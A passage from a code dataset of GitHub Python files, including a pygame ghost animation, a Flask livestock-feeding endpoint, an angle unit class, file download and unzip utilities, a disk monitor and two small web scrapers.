t >= AWAKE_TIME:\n ghost.add_event(GHOST_AROUND)\n\n t /= AWAKE_TIME\n ghost.x = (1 - t) * (ghost.cx - 25 * ghost.dir) + t * (ghost.cx + ghost.dis * ghost.dir)\n ghost.y = (1 - t) * (ghost.cy - ghost.dis - 25) + t * ghost.cy\n ghost.rotate = (1-t) * 90 * ghost.dir\n ghost.frame = (ghost.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 8\n\n ghost.image.opacify(0.2 + math.cos(ghost.rotate / 180.0 * 3.141592 / 4) * 0.6)\n\n @staticmethod\n def draw(ghost):\n if ghost.dir == 1:\n ghost.image.clip_composite_draw(int(ghost.frame) * 100, 300, 100, 100, ghost.rotate / 180 * 3.141592, '',\n ghost.x, ghost.y, 100, 100)\n else:\n ghost.image.clip_composite_draw(int(ghost.frame) * 100, 200, 100, 100, ghost.rotate / 180 * 3.141592, '',\n ghost.x, ghost.y, 100, 100)\n\n\nclass GhostState:\n\n @staticmethod\n def enter(ghost, event):\n pass\n\n @staticmethod\n def exit(ghost, event):\n pass\n\n @staticmethod\n def do(ghost):\n ghost.rotate += 720 * game_framework.frame_time\n ghost.x = ghost.cx + ghost.dis * math.cos(ghost.rotate / 180.0 * 3.141592) * ghost.dir\n ghost.y = ghost.cy + ghost.dis * math.sin(ghost.rotate / 180.0 * 3.141592)\n ghost.frame = (ghost.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 8\n\n ghost.image.opacify(0.2 + math.cos(ghost.rotate / 180.0 * 3.141592 / 4) * 0.6)\n\n @staticmethod\n def draw(ghost):\n if ghost.dir == 1:\n ghost.image.clip_draw(int(ghost.frame) * 100, 300, 100, 100, ghost.x, ghost.y)\n else:\n ghost.image.clip_draw(int(ghost.frame) * 100, 200, 100, 100, ghost.x, ghost.y)\n\n\nnext_state_table = {\n GhostState: {GHOST_AWAKE: GhostState, GHOST_AROUND: GhostState},\n GhostAwakeState: {GHOST_AWAKE: GhostAwakeState, GHOST_AROUND: GhostState}\n}\n\n\nclass Ghost:\n def __init__(self, x, y, dir):\n self.cx, self.cy = x, y + PIXEL_PER_METER * 3\n self.x, self.y = self.cx, self.cy\n # Boy is only once created, so instance image loading is fine\n self.image = load_image('animation_sheet.png')\n self.dir = dir\n self.velocity = 0\n self.frame = 0\n self.event_que = []\n self.cur_state = GhostAwakeState\n self.cur_state.enter(self, None)\n self.rotate = 0\n self.dis = PIXEL_PER_METER * 3\n self.timer = 0\n self.cur_state.enter(self, 0)\n\n def add_event(self, event):\n self.event_que.insert(0, event)\n\n def update(self):\n self.cur_state.do(self)\n if len(self.event_que) > 0:\n event = self.event_que.pop()\n self.cur_state.exit(self, event)\n self.cur_state = next_state_table[self.cur_state][event]\n self.cur_state.enter(self, event)\n\n def draw(self):\n self.cur_state.draw(self)\n\n def handle_event(self, event):\n pass\n","repo_name":"HaneulYun/2DGP","sub_path":"Drills/Drill-12/ghost.py","file_name":"ghost.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21472129642","text":"###--------------Tuplas---------------###\n\ntup=(1,2,3,4,5,6,7,8)\n\n# recorrer una tupla \n\nfor tupla in tup:\n print(tupla)\n\n\n# agregamos un elemnto a la tupla \n\ntupla1 = (1, ['a', 'b'])\ntupla1[1].append('c') # tupla[1] hace referencia a la lista\nprint(tupla1)\n\n\n# Cómo saber si un elemento está en una tupla \n\n\ncolores = 'azul', 'blanco', 'negro'\nif 'azul' in colores:\n print('Sí')\n\n\nif 'verde' not in colores:\n print('No')\n \n","repo_name":"Kevinsolanoxd/Tuplas","sub_path":"Tuplas.py","file_name":"Tuplas.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8224522652","text":"import sys\nimport pyfiglet\n\nif len(sys.argv) not in [1, 3] or (len(sys.argv) == 3 and sys.argv[1] not in ['-f', '--font']):\n sys.exit(\"Invalid usage\")\n\nif len(sys.argv) == 3:\n font_name = sys.argv[2]\n try:\n pyfiglet.Figlet(font=font_name)\n except pyfiglet.FontNotFound:\n sys.exit(\"font not found\")\n custom_figlet = pyfiglet.Figlet(font=font_name)\nelse:\n custom_figlet = pyfiglet.Figlet()\n\ntext = input(\"Input: \")\nprint(custom_figlet.renderText(text))\n","repo_name":"AyadAzad/CS50-s-Introduction-to-Programming-with-Python","sub_path":"figlet/figlet.py","file_name":"figlet.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31385150958","text":"# coding: utf8\n'测定站周采食量统计'\n\nfrom flask import request\n\nfrom app import db\nfrom app.admin import admin\nfrom app.admin.logic.pig_abnormal_analyse import get_pig_abnormal_analyse_info_action\nfrom app.common.errorcode import error_code\nfrom app.common.util import error_response, success_response, error_logger\nfrom app.common.util.time import transform_time, get_date_intervals\nfrom app.models import PigList, PigDailyAssess\n\n\n@admin.route('/admin/pig_abnormal_analyse/', methods=['GET'])\ndef get_pig_abnormal_analyse_info():\n '''\n 预警分析(测定站下种猪),查询一个测定站下所有的猪的采食、体重值和同前日的差值\n :param stationId: 对应 station id\n :param startTime: 起始时间 10 位数字时间戳\n :param endTime: 起始时间 10 位数字时间戳\n :return:\n '''\n try:\n request_data = request.args\n param_checker = get_pig_abnormal_analyse_info_action(request_data)\n if not param_checker['type']:\n error_logger(param_checker['err_msg'])\n return error_response(param_checker['err_msg'])\n\n stationid = request_data.get('stationId')\n start_time = int(request_data.get('startTime'))\n end_time = int(request_data.get('endTime'))\n start_date = transform_time(start_time, '%Y%m%d')\n end_date = transform_time(end_time, '%Y%m%d')\n\n # 并表查询\n res = db.session.query(PigList.animalnum, PigList.earid,\n PigDailyAssess.food_intake_total, PigDailyAssess.prev_foodintake_compare,\n PigDailyAssess.weight_ave, PigDailyAssess.prev_weight_compare,\n PigDailyAssess.record_date) \\\n .join(PigDailyAssess, PigList.id == PigDailyAssess.pid) \\\n .filter(PigList.stationid == stationid, PigDailyAssess.record_date >= start_date,\n PigDailyAssess.record_date <= end_date) \\\n .all()\n\n ret = {\n 'dateArr': [], # 包含的日期区间 ['02-19', '02-20', '02-21']\n 'data': [],\n # [{ animalnum, earid, '02-19': { food_intake_total, prev_foodintake_compare, weight_ave, prev_weight_compare }, ... },]\n }\n\n date_arr = get_date_intervals(start_time, end_time, fm='%m-%d') # ['02-19', '02-20', '02-21']\n ret_data = []\n temp_ret_data = {} # { earid: {xxx} }\n\n for v in res:\n if temp_ret_data.get(v.earid):\n # 内部已经有该耳标号的记录了,只需要把对应日期的数据填充进去\n temp_ret_data[v.earid][v.record_date.strftime('%m-%d')] = {\n 'food_intake_total': v.food_intake_total,\n 'prev_foodintake_compare': v.prev_foodintake_compare,\n 'weight_ave': v.weight_ave,\n 'prev_weight_compare': v.prev_weight_compare,\n }\n else:\n # 内部没有记录,则添加该耳标号的一个日期的记录\n temp_ret_data[v.earid] = {\n 'animalNum': v.animalnum,\n 'earId': v.earid,\n v.record_date.strftime('%m-%d'): {\n 'food_intake_total': v.food_intake_total,\n 'prev_foodintake_compare': v.prev_foodintake_compare,\n 'weight_ave': v.weight_ave,\n 'prev_weight_compare': v.prev_weight_compare,\n }\n }\n\n for td_earid in temp_ret_data:\n one_pig_data = temp_ret_data[td_earid]\n for d in date_arr:\n # 对没有数据的日期进行数据填充\n if not one_pig_data.get(d):\n one_pig_data[d] = {\n 'food_intake_total': 0,\n 'prev_foodintake_compare': 0,\n 'weight_ave': 0,\n 'prev_weight_compare': 0,\n }\n\n ret_data.append(one_pig_data)\n\n ret['dateArr'] = date_arr\n ret['data'] = ret_data\n\n return success_response(ret)\n\n except Exception as e:\n error_logger(e)\n error_logger(error_code['1006_0001'])\n return error_response(error_code['1006_0001'])\n","repo_name":"nohair-coder/flask_pig_admin_be","sub_path":"app/admin/controller/pig_abnormal_analyse.py","file_name":"pig_abnormal_analyse.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25643744079","text":"from types import MappingProxyType\nimport math\n\n\nclass Angle(object):\n\n \"\"\"\n The Angle class stores an angle value\n in a selection of units,\n and provides methods for string representation,\n and arithmetic and comparison operators\n \"\"\"\n\n units = MappingProxyType({\n\n \"degreeminutesecond\":\n {\n \"name\": \"degreeminutesecond\",\n \"toseconds\": lambda dms: (dms[0] * 3600) + (dms[1] * 60) + (dms[2]),\n \"fromseconds\": lambda s: (s // 3600, (s - ((s // 3600)*3600))//60, s - ((s // 3600)*3600) - (((s - ((s // 3600)*3600))//60)*60)),\n \"tostring\": lambda v: f\"{v[0]}° {v[1]}′ {v[2]}″\"\n },\n\n \"radian\":\n {\n \"name\": \"radian\",\n \"toseconds\": lambda r: r * ((180 / math.pi) * 3600),\n \"fromseconds\": lambda s: (s / 3600) / (180 / math.pi),\n \"tostring\": lambda v: f\"{v} rad\"\n },\n\n \"gradian\":\n {\n \"name\": \"gradian\",\n \"toseconds\": lambda g: g * 3240,\n \"fromseconds\": lambda s: s / 3240,\n \"tostring\": lambda v: f\"{v} gon\"\n },\n\n \"turn\":\n {\n \"name\": \"turn\",\n \"toseconds\": lambda t: t * 1296000,\n \"fromseconds\": lambda s: s / 1296000,\n \"tostring\": lambda v: f\"{v} tr\"\n },\n\n \"hourangle\":\n {\n \"name\": \"hourangle\",\n \"toseconds\": lambda ha: ha * 54000,\n \"fromseconds\": lambda s: s / 54000,\n \"tostring\": lambda v: f\"{v} ha\"\n },\n\n \"point\":\n {\n \"name\": \"point\",\n \"toseconds\": lambda p: p * 40500,\n \"fromseconds\": lambda s: s / 40500,\n \"tostring\": lambda v: f\"{v} pt\"\n },\n\n \"quadrant\":\n {\n \"name\": \"quadrant\",\n \"toseconds\": lambda q: q * 324000,\n \"fromseconds\": lambda s: s / 324000,\n \"tostring\": lambda v: f\"{v} quad\"\n }\n\n })\n\n\n def __init__(self, value = 0, unit = units[\"degreeminutesecond\"]):\n\n self.seconds = unit[\"toseconds\"](value)\n self.unit = unit\n\n\n @property\n def value(self):\n return self.unit[\"fromseconds\"](self.seconds)\n\n\n @value.setter\n def value(self, value):\n\n self.seconds = self.unit[\"toseconds\"](value)\n\n\n def __str__(self):\n\n value = self.unit['fromseconds'](self.seconds)\n \n return f\"{self.unit['tostring'](value)}\"\n\n\n def approx_equal(self, other):\n\n return math.isclose(self.seconds, other.seconds)\n\n \n # arithmetic methods\n\n\n def __add__(self, other):\n\n seconds = self.seconds + other.seconds\n value = self.unit['fromseconds'](seconds)\n\n return Angle(value, self.unit)\n\n\n def __sub__(self, other):\n\n seconds = self.seconds - other.seconds\n value = self.unit['fromseconds'](seconds)\n\n return Angle(value, self.unit)\n\n\n def __mul__(self, value):\n\n seconds = self.seconds * value\n value = self.unit['fromseconds'](seconds)\n\n return Angle(value, self.unit)\n\n\n def __rmul__(self, value):\n \n seconds = value * self.seconds\n value = self.unit['fromseconds'](seconds)\n\n return Angle(value, self.unit)\n\n\n def __truediv__(self, value):\n \n seconds = self.seconds / value\n value = self.unit['fromseconds'](seconds)\n\n return Angle(value, self.unit)\n\n \n # comparison methods\n\n\n def __lt__(self, other):\n\n return self.seconds < other.seconds\n\n\n def __le__(self, other):\n\n return self.seconds <= other.seconds\n\n\n def __eq__(self, other):\n\n return self.seconds == other.seconds\n\n\n def __gt__(self, other):\n\n return self.seconds > other.seconds\n\n\n def __ge__(self, other):\n\n return self.seconds >= other.seconds\n\n\n def __ne__(self, other):\n\n return self.seconds != other.seconds\n\n\n","repo_name":"CodeDrome/angle_python_class","sub_path":"angle.py","file_name":"angle.py","file_ext":"py","file_size_in_byte":4691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21187888195","text":"import gzip\nimport os\nimport sys\nimport zipfile\nfrom typing import List, Set\n\nimport pandas as pd\nimport requests\nfrom tqdm import tqdm\n\n\ndef output_datasets(extracted: List[str]) -> None:\n \"\"\"\n Print all elements of extracted list\n :param extracted: the list that contains extracted files\n :return: None\n \"\"\"\n print(f'Following data saved:')\n for filename in extracted:\n print(f'\\t- {filename}')\n\n\ndef missing_files(path: str, filenames: List[str]) -> bool:\n \"\"\"\n Check if all file specified inside filenames list exists\n :param path: the folder to work in\n :param filenames: list of filenames with extension\n :return: False if all filenames exists, True if only one missing\n \"\"\"\n for filename in filenames:\n filepath = os.path.join(path, filename)\n if not os.path.exists(filepath):\n return True\n return False\n\n\ndef get_missing_files(path: str, filenames: List[str]) -> List[str]:\n \"\"\"\n Check if all file specified inside filenames list exists and\n return the missing files\n :param path: the folder to work in\n :param filenames: list of filenames with extension\n :return: a list with missing files\n \"\"\"\n missing = []\n for filename in filenames:\n filepath = os.path.join(path, filename)\n if not os.path.exists(filepath):\n missing.append(filename)\n return missing\n\n\ndef tsv_to_csv(filepath: str) -> str:\n \"\"\"\n Given a filepath of .tsv file convert it to .csv and remove the old one\n :param filepath: the filepath to the .tsv file\n :return: the filename of the .csv file\n \"\"\"\n df = pd.read_csv(filepath, sep='\\t', encoding='utf-8', dtype='object')\n\n path_no_file = os.path.split(filepath)[0]\n wrong_filename = os.path.split(filepath)[1]\n tmp_filename = os.path.splitext(wrong_filename)[0].replace('.', '-')\n filename = f'{tmp_filename}.csv'\n os.remove(filepath)\n\n new_filepath = os.path.join(path_no_file, filename)\n df.to_csv(new_filepath, sep=',', index=False, encoding='utf-8')\n filename = os.path.basename(new_filepath)\n return filename\n\n\ndef csv_to_tsv_gz_ext(file_csv_names: List[str]) -> List[str]:\n \"\"\"\n Remove .csv extension, add .tsv.gz and replace hyphen with dot\n :param file_csv_names: the list with .csv files\n :return: the new list with file .tsv.gz and no hyphen\n \"\"\"\n file_tsv_names = []\n for filename in file_csv_names:\n no_ext = os.path.splitext(filename)[0]\n no_hyphen = no_ext.replace('-', '.')\n filename = f'{no_hyphen}.tsv.gz'\n file_tsv_names.append(filename)\n return file_tsv_names\n\n\ndef download_file(url: str, filepath: str, filename: str) -> bool:\n \"\"\"\n Download a file specified by the url, it also shows a progress bar\n :param url: the web URI to the resource\n :param filepath: the path of the file to be downloaded\n :param filename: the name of the file to be downloaded\n :return: False if something went wrong during the download or True instead\n \"\"\"\n with requests.get(url, stream=True) as req:\n total_size = int(req.headers.get('Content-Length'))\n chunk_size = 1024\n unit = 'KB'\n wrote = 0\n with open(filepath, 'wb') as output:\n # Prepare progress bar\n for data in tqdm(\n req.iter_content(chunk_size),\n total=int(total_size // chunk_size),\n unit=unit,\n desc=filename,\n file=sys.stdout\n ):\n wrote = wrote + len(data)\n output.write(data)\n\n if total_size != 0 and wrote != total_size:\n print('Error, something went wrong during the download.')\n return False\n return True\n\n\ndef gunzip(src_filepath: str, dest_filepath: str, block_size: int = 65536) -> None:\n \"\"\"\n Decompress .gz file\n :param src_filepath: the input .gz filepath\n :param dest_filepath: the output filepath\n :param block_size: the chuck size for the decompression\n :return: None\n \"\"\"\n with gzip.open(src_filepath, 'rb') as s_file, open(dest_filepath, 'wb') as d_file:\n while True:\n block = s_file.read(block_size)\n if not block:\n break\n else:\n d_file.write(block)\n\n\ndef unzip(src_filepath: str, dest_filepath: str, ext_to_save: str = '.csv') -> List[str]:\n \"\"\"\n Decompress .zip file and save only those with the extension specified by ext_to_save\n :param src_filepath: the input .zip filepath\n :param dest_filepath: the output filepath where extract the archive\n :param ext_to_save: the extension of the files to save, default value is .csv\n :return: list of all extracted files\n \"\"\"\n extracted = []\n with zipfile.ZipFile(src_filepath, 'r') as archive:\n for info in archive.infolist():\n info.filename = os.path.basename(info.filename)\n if info.filename != '':\n ext = os.path.splitext(info.filename)[-1].lower()\n if ext == ext_to_save:\n extracted.append(info.filename)\n archive.extract(info, dest_filepath)\n return extracted\n\n\ndef request_features_tmdb(url: str, movie_id: int, tmdb_id: float, features: Set[str]) -> pd.DataFrame:\n \"\"\"\n Query the TMDB API to retrieve specified features\n :param url: the web URI to query the TMDB Api\n :param movie_id: the index of a film from MovieLens\n :param tmdb_id: the index of a film from TMDB\n :param features: the list with the features to extract\n :return: DataFrame with a single sample\n \"\"\"\n response = requests.get(url)\n status_code = response.status_code\n\n data = {\n 'movieId': [movie_id],\n 'tmdbId': [tmdb_id]\n }\n for key in features:\n data[key] = ['NaN']\n\n # 200 = OK\n if status_code == 200:\n json_response = response.json()\n keys = json_response.keys()\n if features.issubset(set(keys)):\n for key in features:\n data[key] = [json_response[key]]\n else:\n for key in features:\n data[key] = ['NaN']\n\n return pd.DataFrame(data)\n","repo_name":"prushh/movie-lens-mlp","sub_path":"src/utils/util_data.py","file_name":"util_data.py","file_ext":"py","file_size_in_byte":6198,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"74916791147","text":"import os\nimport time\nimport logging\n\n\nclass DiskMonitor(object):\n\n def __init__(self, path, rep, warnlevels, hys=512, delay=60):\n self.path = path\n self.rep = rep\n self.warnlevels = sorted(warnlevels, reverse=True)\n self.hysteresis = hys\n self.delay = delay\n self.state = 0\n\n def get_disk_space(self, superuser=False):\n def block2mb(b):\n return float(b) * s.f_bsize / 1024 / 1024\n\n s = os.statvfs(self.path)\n total_mb = block2mb(s.f_blocks)\n if superuser:\n free_mb = block2mb(s.f_bfree)\n else:\n free_mb = block2mb(s.f_bavail)\n\n logging.debug('free_mb:%f total_mb:%f', free_mb, total_mb)\n return free_mb, total_mb\n\n def check_space(self):\n free_mb, total_mb = self.get_disk_space()\n\n newstate = self.state\n for n in range(len(self.warnlevels) - 1, -1, -1):\n wl = self.warnlevels[n]\n if free_mb <= wl:\n logging.debug('free_mb <= warn[%d] (%d)', n, wl)\n newstate = max(newstate, n + 1)\n break\n\n for n in range(0, len(self.warnlevels)):\n wl = self.warnlevels[n] + self.hysteresis\n if free_mb > wl:\n logging.debug('free_mb > warn[%d] + hysteresis (%d)', n, wl)\n newstate = min(newstate, n)\n break\n\n logging.debug('state current:%s new:%s', self.state, newstate)\n if newstate > self.state:\n self.notify(newstate, free_mb, total_mb)\n self.state = newstate\n\n def format_free_space(self, free_mb, total_mb):\n def fmt(n):\n if n > 1024:\n return '%.1f GiB' % (n / 1024.0)\n return '%.1f MiB' % n\n\n m = '%s: %s of %s (%.1f%%) free' % (\n self.path, fmt(free_mb), fmt(total_mb), free_mb * 100 / total_mb)\n return m\n\n def notify(self, state, free_mb, total_mb):\n emph = ''\n if state > 0:\n emph = ('*' * 50 + '\\n') * state\n mfree = self.format_free_space(free_mb, total_mb)\n m = '%sDISK SPACE WARNING: %s\\n%s' % (emph, mfree, emph)\n self.rep.log_message(m)\n\n def start(self):\n while True:\n self.check_space()\n time.sleep(self.delay)\n\n def status(self):\n m = self.format_free_space(*self.get_disk_space())\n logging.debug('status: %s', m)\n m = 'Disk space: ' + m\n return m\n","repo_name":"ome/omero-fenton","sub_path":"diskmonitor.py","file_name":"diskmonitor.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71639280106","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom api_v2.host.serializers import HostChangeMaintenanceModeSerializer\nfrom cm.adcm_config.config import init_object_config\nfrom cm.api import check_license, load_service_map\nfrom cm.api_context import CTX\nfrom cm.issue import add_concern_to_object, update_hierarchy_issues\nfrom cm.logger import logger\nfrom cm.models import Cluster, Host, HostProvider, Prototype\nfrom django.db.transaction import atomic\nfrom rbac.models import re_apply_object_policy\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_200_OK, HTTP_409_CONFLICT\n\nfrom adcm.permissions import check_custom_perm\nfrom adcm.utils import get_maintenance_mode_response\n\n\ndef add_new_host_and_map_it(provider: HostProvider, fqdn: str, cluster: Cluster | None = None) -> Host:\n host_proto = Prototype.objects.get(type=\"host\", bundle=provider.prototype.bundle)\n check_license(prototype=host_proto)\n with atomic():\n host = Host.objects.create(prototype=host_proto, provider=provider, fqdn=fqdn)\n obj_conf = init_object_config(proto=host_proto, obj=host)\n host.config = obj_conf\n if cluster:\n host.cluster = cluster\n\n host.save()\n add_concern_to_object(object_=host, concern=CTX.lock)\n\n update_hierarchy_issues(obj=host.provider)\n re_apply_object_policy(apply_object=provider)\n if cluster:\n re_apply_object_policy(apply_object=cluster)\n\n load_service_map()\n logger.info(\"host #%s %s is added\", host.pk, host.fqdn)\n if cluster:\n logger.info(\"host #%s %s is added to cluster #%s %s\", host.pk, host.fqdn, cluster.pk, cluster.name)\n\n return host\n\n\ndef maintenance_mode(request, **kwargs):\n host = Host.obj.filter(pk=kwargs[\"pk\"]).first()\n check_custom_perm(user=request.user, action_type=\"change_maintenance_mode\", model=\"host\", obj=host)\n\n serializer = HostChangeMaintenanceModeSerializer(instance=host, data=request.data)\n serializer.is_valid(raise_exception=True)\n if not host.is_maintenance_mode_available:\n return Response(\n data={\n \"code\": \"MAINTENANCE_MODE_NOT_AVAILABLE\",\n \"level\": \"error\",\n \"desc\": \"Maintenance mode is not available\",\n },\n status=HTTP_409_CONFLICT,\n )\n\n response: Response = get_maintenance_mode_response(obj=host, serializer=serializer)\n if response.status_code == HTTP_200_OK:\n response.data = serializer.data\n\n return response\n","repo_name":"arenadata/adcm","sub_path":"python/api_v2/host/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"37"} +{"seq_id":"13925625100","text":"drow1 = [-1, 1, 0, 0] # 상하좌우\ndcol1 = [0, 0, 1, -1]\n\n\ndrow2 = [-1, 1, 0, 0, -2, 2, 0, 0] # 상하좌우\ndcol2 = [0, 0, 1, -1, 0, 0, 2, -2]\n\ndrow3 = [-1, 1, 0, 0, -2, 2, 0, 0, -3, 3, 0, 0] # 상하좌우\ndcol3 = [0, 0, 1, -1, 0, 0, 2, -2, 0, 0, 3, -3]\n\nT = int(input())\nfor tc in range(1, T + 1):\n n = int(input())\n arr = [list(map(str, input())) for _ in range(n)]\n\n for row in range(n):\n for col in range(n):\n if arr[row][col] == 'A':\n for i in range(4):\n newr = row + drow1[i]\n newc = col + dcol1[i]\n if 0 <= newr < n and 0 <= newc < n and arr[newr][newc] == 'H':\n arr[newr][newc] = 'X'\n elif arr[row][col] == 'B':\n for i in range(8):\n newr = row + drow2[i]\n newc = col + dcol2[i]\n if 0 <= newr < n and 0 <= newc < n and arr[newr][newc] == 'H':\n arr[newr][newc] = 'X'\n elif arr[row][col] == 'C':\n for i in range(12):\n newr = row + drow3[i]\n newc = col + dcol3[i]\n if 0 <= newr < n and 0 <= newc < n and arr[newr][newc] == 'H':\n arr[newr][newc] = 'X'\n cnt = 0\n for i in range(n):\n for j in range(n):\n if arr[i][j] == 'H':\n cnt += 1\n\n print(f'#{tc} {cnt}')","repo_name":"seongbiny/algorithm","sub_path":"SWEA/11671_1.py","file_name":"11671_1.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"19948981706","text":"import cv2\nimport numpy as np\n\n\nimg1 = cv2.imread('Image/hoasung.jpg', 1)\nimg2 = cv2.imread('Image/hoamai.jpg', 1)\n\nrows, cols, channels = img1.shape\n\nroi = img2[:rows, :cols]\n\nimg1gray = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\n# print(img1gray[0][1])\nresult, mask = cv2.threshold(img1gray, 200, 255, cv2.THRESH_BINARY_INV)\n# print(img1gray[0][1])\n# print(mask)\nmask_inv = cv2.bitwise_not(mask)\n\n# img2_bg = cv2.bitwise_and(roi, roi, mask=mask_inv)\n\nimg1_fg = cv2.bitwise_and(img1, img1, mask=mask)\ncv2.imshow('img1_bg', img1_fg)\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"phongtrank55/img-processing-python","sub_path":"exam2.py","file_name":"exam2.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27736784503","text":"from bs4 import BeautifulSoup\nimport requests\n\n# Connect to website and instantiate a response object\nurl = \"https://www.hangmanwords.com/words\"\nresponse = requests.get(url)\n\n# Create BeautifulSoup object\nsoup = BeautifulSoup(response.content, \"html.parser\")\n\n# Put all ul elements in ul_elements list\nul_elements = soup.find_all('ul')\n\n# Check if there is at least a second
    element\nif len(ul_elements) >= 2:\n second_ul = ul_elements[1]\n \n li_elements = second_ul.find_all('li')\n\n with open('./output-files/hangman.txt', 'w', encoding = 'utf-8', errors = 'replace') as file:\n for elements in li_elements:\n modified_text = elements.text.replace(\"�\", '\\\"')\n file.write(modified_text + '\\n')","repo_name":"bathan1/bathans-webscraper","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10448283620","text":"from webDAQ.internal.sensor import Sensor\n\nimport board\nimport adafruit_bme680\n\n\nclass BME680(Sensor):\n\n def __init__(self):\n super(BME680, self).__init__(name=\"BME680\", channels=[\"T\", \"H\", \"P\", \"h\", \"R\"],\n channel_names=[\"Temperature\", \"Humidity\", \"Pressure\", \"Altitude\",\n \"Gas resistance\"],\n channel_units=[u\"\\u2103\", \"%\", \"hPa\", \"m\", \"Ohm\"],\n description=\"A Bosch sensor\")\n\n self.board = None\n self.sensor = None\n\n def start(self) -> None:\n # Configure the sensor here\n self.board = board.I2C()\n self.sensor = adafruit_bme680.Adafruit_BME680_I2C(self.board, debug=False)\n\n def get_data(self):\n # Get the data\n return [self.sensor.temperature, self.sensor.relative_humidity, self.sensor.pressure, self.sensor.altitude,\n self.sensor.gas]\n\n def close(self) -> None:\n # There's nothing to do here\n return\n","repo_name":"AlexanderKaschta/webDAQ","sub_path":"webDAQ/sensor/BME680.py","file_name":"BME680.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10571991401","text":"import requests\nimport openpyxl\nfrom bs4 import BeautifulSoup\n\nwb = openpyxl.Workbook() \nsheet = wb.active\nsheet.title ='find_jod'\nsheet['A1'] = 'job'\n\ntest=requests.get(\"https://www.liepin.cn/zhaopin/?init=-1&headckid=3e635b4480bb04ac&flushckid=1&dqs=&fromSearchBtn=2&ckid=50daf356668aa0be&subIndustry=&industryType=industry_04&industries=150&siTag=1B2M2Y8AsgTpgAmY7PhCfg%7EfA9rXquZc5IkJpXC-Ycixw&d_sfrom=search_unknown&d_ckId=aedf21f076070969a9ad5b44b65768aa&d_curPage=0&d_pageSize=40&d_headId=4c3684bf118727d27b27cb82496ec84d\")\ntestt= BeautifulSoup(test.text,'html.parser')\njob_name = testt.find_all('div',class_='job-info')\ncompany_info=testt.find_all('div',class_='company-info nohover')\nfor x in range(len(job_name)):\n carrer=[job_name[x].find(\"a\").text[15:]]\n sheet.append(carrer)\nwb.save('JOB.xlsx')\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport csv\n\ncsv_file = open('demo.csv','w',newline='',encoding='utf-8')\nwriter = csv.writer(csv_file)\nwriter.writerow(['job','link','WAGES','CITY','学历','公司'])\n\nwb = openpyxl.Workbook() \nsheet = wb.active\nsheet.title ='find_jod'\nsheet['A1'] = 'job'\nsheet['B1'] ='link'\nsheet['C1'] ='WAGES'\nsheet['D1'] ='CITY'\nsheet['E1'] ='学历'\nsheet['F1'] ='公司'\nurl =\"https://www.liepin.cn/zhaopin/?\"\nfor x in range(10):\n params = {\n \"init\":\"-1\",\n \"headckid\":\"3e635b4480bb04ac\",\n \"dqs\": \"\",\n 'fromSearchBtn': '2',\n 'ckid': '4ee944dac2eef8f7',\n 'degradeFlag':'0',\n 'subIndustry': '',\n 'industryType': 'industry_04',\n 'industries': '150',\n 'siTag': '1B2M2Y8AsgTpgAmY7PhCfg~Al0RgotvGQ-kRA59YliAuQ',\n 'd_sfrom': 'search_unknown',\n 'd_ckId': 'c66767d53d4b7fa2e0b41e0d607493eb',\n 'd_curPage': '6',\n 'd_pageSize': '40',\n 'd_headId': '4c3684bf118727d27b27cb82496ec84d',\n 'curPage': str(x)\n }\n test = requests.get(url, params=params)\n testt= BeautifulSoup(test.text,'html.parser')\n job_name = testt.find_all('div',class_='job-info')\n company_info=testt.find_all('div',class_='company-info nohover')\n for x in range(len(job_name)):\n carrer=[job_name[x].find(\"a\").text[15:],job_name[x].find('a')['href'],job_name[x].find(class_=\"text-warning\").text,job_name[x].find(class_=\"area\").text,job_name[x].find(class_=\"edu\").text,company_info[x].find(\"a\").text]\n sheet.append(carrer)\nwb.save('JOB.xlsx')\n","repo_name":"Rachel-730/coursera_capstone","sub_path":"untitled1.py","file_name":"untitled1.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41396757897","text":"import numpy as np\nimport math\nimport pandas as pd\nimport pymysql\n#import mysql.connector\nfrom sqlalchemy import create_engine\nimport matplotlib.pyplot as plt\nfrom colorama import 